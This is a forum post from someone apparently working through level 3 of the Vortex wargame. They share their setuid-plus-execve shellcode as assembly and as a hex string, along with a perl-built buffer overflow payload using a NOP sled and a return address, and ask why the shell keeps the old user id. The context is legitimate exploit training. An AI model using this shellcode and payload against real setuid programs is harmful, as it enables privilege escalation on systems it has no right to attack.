Anonymous

Hi there.
I have a problem, and I couldn't connect to the IRC(not at home, and someone's blocking IRC, ARGGG...).
Im on level03, vortex.
I was able to spawn a shell, however, my shell was still id vortex3, even thought i used setuid in my shellcode.

Here is the asm of my shell code:
BITS 32

xor eax, eax
xor ebx, ebx
xor ecx, ecx

mov al, 23
mov bx, 506;id of vortex04
int 0x80
jmp short do_call

jmp_back:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
mov al, 11
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x80

do_call:
call jmp_back

shell:
db "/bin/sh"


Here is the hex of my shellcode:

char shellcode[] =
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\x66\xbb\xfa\x01\xcd\x80\xeb"
        "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b"
        "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62"
        "\x69\x6e\x2f\x73\x68";



Here is what i run:
./level3 "`perl -e 'print "\x90"x78,"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\x66\xbb\xfa\x01\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","\x98\x94\x04\x08"x4'`"

it spawns a shell, just not with id vortex 04, but with id vortex03.